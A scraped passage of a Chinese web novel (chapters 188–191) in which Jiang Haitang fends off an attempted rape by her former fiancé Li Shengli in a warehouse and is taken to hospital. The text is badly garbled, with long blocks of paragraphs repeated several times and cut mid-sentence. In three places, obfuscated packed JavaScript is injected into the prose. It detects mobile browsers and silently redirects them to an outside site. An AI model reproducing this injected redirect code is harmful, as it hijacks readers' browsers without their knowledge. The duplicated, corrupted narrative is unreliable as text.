小桃子刚退烧睡着,有人敲门,姜海棠出门,看到的却是李秋兰。 姜海棠不愿意看到李秋兰,冷着脸问:“你来干什么?” “嫂子……哦,海棠姐,我这不是听人说,你和小桃子遇到危险了,我来看看。” 姜海棠冷笑:“无事献殷勤,你还是回去吧。” “嫂子,不管你相信不相信,我们总是一起生活了这么多年,我对你的感情自是不一般的。尤其是,我和娘到了厂里后,没少被人指指点点的。” “我和娘已经知道错了,我们希望能得到你的原谅,海棠姐,看在我们之前那些年还不错的份上,请你原谅我们。” “娘想你了,想见见你,要不,你带着小桃子去见见娘?娘说,她最对不起的就是你,她之前也是被猪油蒙了心,以后,她会当你是亲女儿一样!” 姜海棠听着李秋兰说这么多,简直像是听笑话一样。 这张嘴皮子还真是厉害,要不是她遭遇过一辈子,估计就要相信这娘儿两个是真心悔过了。 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807916|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 不过,现在,她连李秋兰说的一个字都不相信! “不用了,我这个人天生没有父母亲缘,还是不要乱认娘的好。” 李秋兰没想到自己说了这么多,姜海棠还是一副油盐不进的模样。 她生气了,想骂人,但想着目的还没达到,只能耐着性子继续说。 “嫂子……海棠姐,不管有多少恩恩怨怨,现在都已经过去了,我们要朝前看,总不能一辈子记着仇怨吧?” “当然要记得,那些切肤之痛,凡是忘了,都是对我自己的不尊重。李秋兰,我能保持和你们家人当陌生人,已经是对你们最大的宽容了,你以后,不要再来找我!我不想看到你,不想看到你们李家的任何一个人!” 看到李家的人,姜海棠有一种生理性的厌恶。 “我还有事,你回去吧。”姜海棠说着,回到院子里关上大门。 她还要守着小桃子,并没有将心思放在李秋兰的身上。 李秋兰看着姜海棠就这么把自己关在大门外面,气恼得不得了。 这个姜海棠,怎么变得油盐不进了? 以前在大队里的时候,要是自己能说出这么几句好听的话,姜海棠连命都能给自己。 “**,你给我等着,我一定要让你付出代价!”李秋兰咬牙切齿地走了! 第189章 抓到你了 “**你给我等着我一定要让你付出代价!” 李秋兰眼里都是不属于她这个年纪的狠毒咬牙切齿地甩下狠话后怒气冲冲地走了。 李胜利简陋的宿舍里因为没有了梁素雅这个女主人和之前的温馨完全不同。 原本洁白的墙面斑驳墙皮剥落得如同这支离破碎的家一样。 李秋兰一进屋 清脆的碎裂声在狭小的空间里回荡搪瓷片四处飞溅掉落地上斑斑点点。 “妈我再也不要委屈自己求姜海棠了我这段时间用了多少精力她油盐不进。既然她敬酒不吃那就吃罚酒。” 李秋兰胸脯剧烈起伏眼中满是怨毒。 吴秋月坐在木床上目光阴鸷地望着窗外树影婆娑间仿佛能看到她心中翻涌的恶意。 “让你哥帮你女人被睡了自然就安生了。” 自从姜海棠决然离开李家这个家便像被施了诅咒诸事不顺。 不光大队里不要他们把他们撵到城里就连儿子家里也不顺心得很。 娶进门的媳妇都跑了在吴秋月看来这一切的始作俑者就是姜海棠只要她回来一切或许都会回到正轨。 而此时的姜海棠对李家的阴谋浑然不觉。 她整日沉浸在实验中一心解决纺织工艺上遇到的难题。 这日实验室的钟表指针早已悄然滑向深夜窗外漆黑一片唯有实验室的灯光倔强地亮着。 姜海棠皱着眉头盯着实验数据满心都是今天实验失败的原因浑然未觉危险正在逼近。 她像往常一样走在那条熟悉的小路上路灯昏黄的光线将她的影子拉得很长。 四周寂静无声只有偶尔传来的虫鸣声。 忽然一只大手抓着帕子猛地捂住她的嘴还没等她反应过来便被一股蛮力拖向旁边荒废的旧仓库。 姜海棠本能地挣扎双脚在地上乱蹬却无济于事嘴巴很快被一团粗糙的破布堵住喉咙被勒得生疼。 “砰”的一声巨响仓库的门被重重关上震得屋顶的灰尘簌簌落下。 周围只有从窗户里照进来的月光勉强能让姜海棠看清楚室内的情况姜海棠努力地眨了眨眼睛心跳如擂鼓般剧烈。 她不知道到底是谁将自己弄到这里求生的本能让她迅速冷静下来立即全神戒备摆出防守的姿势。 “姜海棠 !”李胜利阴恻恻的声音从身后传来,带着几分醉意和扭曲的欲望。 姜海棠浑身一僵,立即转身,借着从窗户破洞中透进来的微弱月光,看到了李胜利那张因疯狂而扭曲的脸。 她不露痕迹地后退几步,尽量与他拉开距离,“你要干什么?” “姜海棠,我要离婚了,你满意了吗?”李胜利的目光中都是怨毒。 姜海棠听着李胜利这话,都不知道该是什么表情了。 “李胜利,你离不离婚和我没关系,我有什么必要满意或者不满意?” “你如果老老实实留在清水沟伺候我娘,照顾家里,不要来城里,一切都不会发生,我会在城里过得好好的,平步青云,你为什么要来城里?为什么?”李胜利的声音有些歇斯底里。 姜海棠简直要被这无耻发言气笑了。 这世上居然还有如此厚颜无耻之人。 “李胜利,你娘该你伺候,为什么要让我照顾?你说这话的时候,不觉得荒谬吗?” “不重要了,我要离婚了,我离婚后,我们结婚,你还是我媳妇。” 李胜利舔了舔嘴唇,眼中闪烁着贪婪的光芒,笑容无比猥琐。 “以前,倒是没看出来,你竟是个美人胚子,才到城里多长时间,白白净净,比城里姑娘还好看。” 他一边说着,一边缓缓逼近,脚步在堆满杂物的地面上发出“咯吱咯吱”的声响。 姜海棠心中涌起一阵恶心和愤怒,强压下情绪,厉声道:“李胜利,你不要一错再错。” “我不好吗?我比不了陆良辰吗?就因为陆良辰是厂长,所以,你才会喜欢他,甚至愿意没有结婚就接纳他的孩子?” 李胜利突然情绪激动起来,声音提高了八度,双手在空中挥舞,身上散发着浓烈的酒气,脚步也有些踉跄。 姜海棠不敢继续刺激这个几乎要疯狂的男人,只能不断后退。 直到后背抵上冰冷的砖墙,她心中一紧,意识到已经退无可退。 李胜利呼出的带着酒臭的气息喷在她脸上,那双布满血丝的眼睛里闪烁着疯狂的光芒,仿佛一头即将扑食的野兽。 “李胜利,你清醒一点!”姜海棠厉声喝道,右手悄悄摸向腰间的工作包,“你这是犯罪!” “犯罪?”李胜利咧嘴一笑,露出一口发黄的牙齿,“你本来就是我媳妇,就算我不要你了,你也应该在清水沟等着我。” “我是活生生的人,李胜利,你当我是什么?” 姜海棠被李 胜利这话勾起了上辈子的痛苦回忆,心中的怒火再也压抑不住,忍不住开口怒斥。 上辈子,李胜利应该就是抱着这样的心思,让她在清水沟消耗了一辈子吧? “我想来想去,怪我没有把生米煮成熟饭,才让你有机会另找男人。姜海棠,老子现在就睡了你,等你和我睡了,你就听话了!” 李胜利突然暴起,像饿狼般扑上来,粗糙的手掌死死抓住姜海棠的衣领。 “刺啦——”姜海棠的衣服领口被撕开一道口子。 她心慌意乱,但理智告诉她,越是这种时候,越不能慌乱。 就在李胜利以为即将得逞,稍微放松警惕的瞬间,姜海棠迅速从包里掏出一把小锤子,用尽全身力气狠狠砸在李胜利额头上。 “啊!”李胜利惨叫一声,双手捂住额头,鲜血从指缝间汩汩流出,踉跄着后退几步。 姜海棠趁机迅速闪到一旁,抓紧手中的小锤子放在胸前,警惕地看着对方。 “毒妇,你居然敢打我!我是你男人!”李胜利恶狠狠地咆哮着,眼中满是杀意。 “李胜利,你是梁素雅的男人,和我没关系。” 姜海棠冷笑一声,目光快速扫视着昏暗的仓库。 月光从破损的窗户和屋顶照进来,照在堆满废旧纺织机械的角落,姜海棠努力寻找可以利用的东西。 李胜利抹了把脸上的血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她要找准机会,一击必胜才行。 就在姜海棠等待机会的时候,一道黑影朝着她的方向靠近。 她没有丝毫犹豫,立即将手中的木棍朝着黑影的脑袋砸下去。 她用了十成十的力气,只听“咚”的一声闷响,李胜利被砸得晕头转向,一个趔趄,重重地倒在地上。 “啊!你这个疯女人!”跌倒之前,李胜利还有力气破口大骂。 姜海棠趁机冲向仓库大门,却发现门已经被牢牢锁住,她心中顿时明白,李胜利还有同伙,不用问就知道,这个同伙肯定是他妹妹李秋兰。 李家兄妹果然一样让人恶心,她在心中暗暗咒骂。 而这时候,李胜利已经摇摇晃晃地站起来了,额头上的鲜血顺着脸颊流下,在月光下显得格外狰狞可怖。 他吐出一口带血的唾沫,眼中凶光毕露:“臭娘们,今天不弄死你,老子就不姓李!” 姜海棠紧握木棍,后背紧贴仓库大门。她能感觉到寒意透过衣衫传来,但此刻已无路可退。 “来啊!”李胜利突然暴起,铁棍带着呼啸的风声横扫过来。 姜海棠反应迅速,矮身躲过,木棍直戳对方膝盖。 “咔嚓!”木棍应声断裂,但李胜利也痛呼一声,跪倒在地。 姜海棠趁机一个翻滚,捡起地上散落的纱锭砸向他的后脑。 李胜利却像背后长了眼睛,猛地转身一把抓住她的脚踝:“抓到你了!” 第190章 我打赢了 姜海棠被重重摔在地上,后背传来一阵剧痛,仿佛骨头都要散架了。 她咬牙忍住眩晕,另一只脚狠狠踹向李胜利的面门。 “啊!”李胜利鼻血喷涌而出,但手上的力道丝毫未减,反而更用力地将她往仓库深处拖去。 在他看来,事情已经做了,如果不做完,他这辈子就真的完了,只有睡了这个女人,才有机会翻盘。 姜海棠的手指在地上拼命抓挠,突然触到一块尖锐的金属碎片,似乎是一块机器零件。 她毫不犹豫地反手一划,“嘶——”李胜利的手腕顿时鲜血淋漓,不得不松手。 姜海棠趁机翻身而起,抓起地上的半截铁管。 两人在月光下对峙,粗重的喘息声在空旷的仓库里格外清晰。 李胜利抹了把脸上的血,突然狞笑起来:“够辣!老子就喜欢驯服烈马!早知道你这么有意思,退伍后我就回家和你圆房了。” 姜海棠看到,李胜利手中不知道什么时候多了一截钢针,她瞳孔骤缩,握紧铁管的手指节发白,心跳也陡然加快。 她想起陆良辰教过她的招式“敌动我不动,敌不动我先动”。 她深吸一口气,慢慢稳住心神,目光紧紧盯着李胜利的一举一动。 就在李胜利举着钢针扑来的瞬间,姜海棠突然侧身,铁管精准地击中他的手腕。 “叮当!”李胜利手中的钢针落地,在地上发出清脆的声响。 姜海棠不给对方喘息的机会,一个扫堂腿将李胜利绊倒,然后迅速将铁管抵住他的咽喉。 “再动一下,我就捅下去!”她的声音冷得像冰,眼神中透露出坚定和杀意。 李胜利僵住了,他从未见过这样的姜海棠,眼神凌厉如刀,浑身散发着让人胆寒的杀气。 这一刻他才真正意识到,眼前的女人早已不是清水沟那个任人欺凌的童养媳了。 现在的姜海棠,身上的气势比自己这个当过几年兵的人还要足。 想到姜海棠的蜕变是因为另外一个男人,李胜利觉得自己整个人都不好了。 一个属于自己的女人,怎么可以被别人改变?这是不守妇德! “姜海棠,你不守妇德,你勾引其他男人,现在还要**?”他色厉内荏地喊道,声音中带着一丝恐惧。 姜海棠冷笑一声,铁管往前送了半寸,冰冷的金属抵在李胜利的皮肤上:“正当防卫,杀了你也白杀。” “你是我老婆,拜过天地的!你这是**亲夫!”李胜利歇 斯底里地喊道,声音中充满了不甘和绝望。 他之前以为,过了今天晚上,姜海棠就属于他了,现在的局面,让他不能接受。 “你忘了吗,我们没有领证,我不是你老婆。”姜海棠语气冰冷,停顿一下,继续说:“如果我是你老婆,你早就被开除送去**了。” 侥幸逃过一劫的人,居然还敢提这一茬,实在可笑。 “海棠,我错了,我不该被城里的女人花了眼,你原谅我一回好不好,我们以后好好过日子!”李胜利似乎察觉到自己处于劣势,突然换了一副嘴脸,眼中满是乞怜。 看着这样的李胜利,姜海棠觉得更加恶心了。 上辈子李胜利在她记忆中那高高在上的模样,在这一刻彻底崩塌。 姜海棠终于相信,这一辈子确实和上辈子不一样了。 “李胜利,你做出这么多的恶心事,凭什么觉得,我会和你一起好好过日子?我恨不得你死!” 姜海棠怒声说道,心中的恨意如潮水般翻涌。 就在姜海棠想着要不要狠狠心,要了李胜利这条狗命的时候,仓库外突然传来急促的脚步声和呼喊。 “姜工!姜海棠同志!” “海棠!海棠!” 听着熟悉的声音穿透仓库厚重的木门,姜海棠几乎要喜极而泣,她强撑着最后一丝力气高声回应:“我在这里!仓库门被锁了!” 声音在空荡荡的仓库里激起回音,尾音带着不易察觉的颤抖。 她死死将铁管抵在李胜利咽喉处,指节因过度用力泛着青白,就怕这个垂死挣扎的男人趁机作乱。 李胜利听到外面的动静,浑浊的瞳孔猛地收缩,脸上血色尽褪。 他突然爆发出一股蛮力,用膝盖狠狠顶向姜海棠腹部,在她吃痛松手的瞬间,挣扎着朝地上的钢针爬去。 姜海棠踉跄两步稳住身形,立即抄起半截钢管,用尽全身力气朝着李胜利的脸砸下去! 钢管裹胁着呼啸风声划过他的右眼,顿时血花四溅。 “啊!我的眼睛!” 李胜利发出杀猪般的惨叫,双手死死捂住不断渗血的眼眶,在地上翻滚哀嚎。暗红色的血顺着他的指缝滴落在布满灰尘的地面,晕染出可怖的痕迹。 就在这时,仓库铁门在撞击声中轰然洞开,刺目的手电筒光束扫进来。 姜海棠眯起眼睛,看见老郑带着四名保卫科同志冲了进来。 陆良辰紧跟在他们身后。 “海棠!你怎么样?”陆良辰三 步两步冲到姜海棠的身边。 在看清她凌乱的衣衫和苍白的脸色后,陆良辰喉结剧烈滚动。 他一把将摇摇欲坠的姜海棠搂进怀里,掌心触到她后背湿漉漉的一片,借着月光才发现那是大片暗红的血迹。 “你受伤了?” 姜海棠这时候才察觉到后背疼痛袭来。 “应该是刚才被拖行时,后背刮擦到地上生锈的铁片了。”姜海棠忍痛解释。 “你流了很多血。” “良辰,我没事,我赢了!”姜海棠强撑着露出个笑容,话音未落,眼前突然一阵天旋地转。 连日的劳累、刚刚激烈搏斗的消耗,还有伤口传来的阵阵剧痛,让她再也支撑不住,软软地倒进陆良辰怀里。 陆良辰的心瞬间揪成一团,声音发颤得厉害:“别怕,我在。” 他小心翼翼地托住姜海棠的膝盖,将她整个人打横抱起,转向呆立的保卫科众人,语气冷得像冰:“把他捆起来!” 老郑等人七手八脚地用麻绳将仍在抽搐的李胜利捆成粽子。 这个方才还凶神恶煞的男人,此刻蜷在地上发出呜咽,右眼血肉模糊,血水混着灰尘糊了满脸,就算捡回一条命,这只眼睛也彻底废了。 姜海棠靠在陆良辰肩头,突然想起什么,挣扎着要起身。 “李秋兰!这件事肯定和她有关!刚才门锁……一定是她帮忙……” 话音未落便咳嗽起来,牵动后背的伤口,疼得冷汗直冒。 陆良辰眼神瞬间冷如寒潭,他轻轻拍了拍姜海棠的背示意她别说话,转头对老郑说:“老郑,带两个人去李家,务必把相关人等控制住,我带海棠去医院。” “我真的没事,回家擦点紫药水就好……” 姜海棠虚弱的**,话没说完就被陆良辰严厉打断。 “你后背的伤口很深,铁器上锈迹斑斑,必须打破伤风针。” “没这么娇气……”姜海棠还想挣扎。 可陆良辰抱着她大步往外走,语气不容置疑:“要是感染败血症怎么办?” 他的下巴轻轻蹭了蹭姜海棠的发顶,声音放软了些:“别让我担心,嗯?” 医院走廊弥漫着消毒水的气味,姜海棠趴在诊疗床上,咬着嘴唇任由医生清理后背的伤口。 沾着碘伏的棉球擦过伤口时,钻心的疼痛让她浑身绷紧,指甲深深掐进床单里。 陆良辰一直守在旁边,伸手让她攥着,掌心很快被掐出月牙形的血痕。 “很疼 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820473|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 吧?”陆良辰声音发闷,看着医生将沾着铁锈的碎布从伤口里夹出来,他觉得自己的心也跟着被揪起来。 姜海棠摇摇头,想露出个笑脸,却疼得嘴角直抽抽。 打完破伤风针,姜海棠因为伤口感染需要住院观察。 等输上液躺到病床上时,先前强撑的精神彻底松懈下来,这才感觉浑身像散了架般酸痛,后背的伤口火辣辣地疼,连呼吸都牵扯着抽痛。 她不自觉地哼哼出声,像只受伤的小猫。 陆良辰端着温水走进病房,看见她皱成包子的小脸,又好气又心疼:“不是还嘴硬说不用来医院?看看现在遭的罪!” 话虽严厉,他却轻轻在床边坐下,用棉签沾着温水给她润唇。 姜海棠委屈地拽住他的袖口,声音软软的:“我错了,以后不这样了!” 说着说着眼睛就红了,想起今晚的惊险,后怕得直掉眼泪。 陆良辰心都要碎了,连忙把人搂进怀里,小心避开她的伤口:“是我不好,没保护好你。” 他轻轻地摩挲着姜海棠的头发:“以后再也不让你受一点伤。” “没事,我能自己保护自己,你还有很多大事要干。” “真是败给你了。”陆良辰无奈地摇摇头,把水杯送到姜海棠的唇边。 第191章 英雄 姜海棠小口啜饮着温水,病房里静得能听见盐水滴落的滴答声。 突然,走廊传来凌乱的脚步声,病房门被猛地推开,康小夏跑了进来。 她涨红的脸上还沾着汗珠,杏眼圆睁,声音带着哭腔:“海棠姐,你怎么样?吓死我了!” 姜海棠侧躺着,扯出一抹苍白的笑:“我没事,就是擦破点皮。” 她抬手想安抚对方,却牵动后背伤口,疼得睫毛轻颤。 “都这样了还嘴硬!笑得比哭的还难看!” 姜海棠苦笑着摸摸后脑勺,知道说什么都是错的。 “小康同志!”陆良辰出声打断,他站在窗边,衣服下摆上还沾着仓库的灰尘,一双半旧的军靴上还沾着泥土。 他抬手看表,“今晚辛苦小康同志帮忙照顾了,我还有事,得离开,海棠,有事就让人去找我。” 康小夏立即说:“陆厂长,您放心吧,我会照顾好海棠姐的。” 姜海棠望着男人紧绷的下颌线,知道他此刻还有许多事要忙。 从发现李胜利异常开始,陆良辰已经在暗处布局三个月,联系国安、排查内鬼、收集证据,每一步都如履薄冰。 如今收网在即,他肩上的担子比泰山还重。 因此,她乖顺地点点头。 “你要小心,也要保重自己,我等你回来。”她语带担心地说。 陆良辰走到床边,伸手理了理她散落的发丝,动作轻柔得像触碰易碎的琉璃。 这种时候,作为未婚夫,他应该陪在她的身边,可是,身上背负的责任让他没有办法陪着她。 “好好休息,等我。”他转身大步离开,带起一阵冷冽的风。 门合上的瞬间,姜海棠听见他在走廊低声吩咐:“务必做好安保工作。” 康小夏挨着病床坐下,小心翼翼掀开姜海棠后背的纱布查看。 伤口周围红肿得几乎要透明,在白皙皮肤上触目惊心。 “畜生!”她气得直掉眼泪,“李胜利平时看着人模狗样的,谁能想到……” 说了一半,康小夏才想起来,李胜利本来就不是好人,要是好人,怎么会假死? “没想到在咱们厂里都能出事,以后厂里估计要有好长时间人心惶惶了。”康小夏心有余悸额说。 姜海棠忍痛露出一抹笑容:“李胜利这是狗急跳墙了,我们厂的治安还是可以的。” 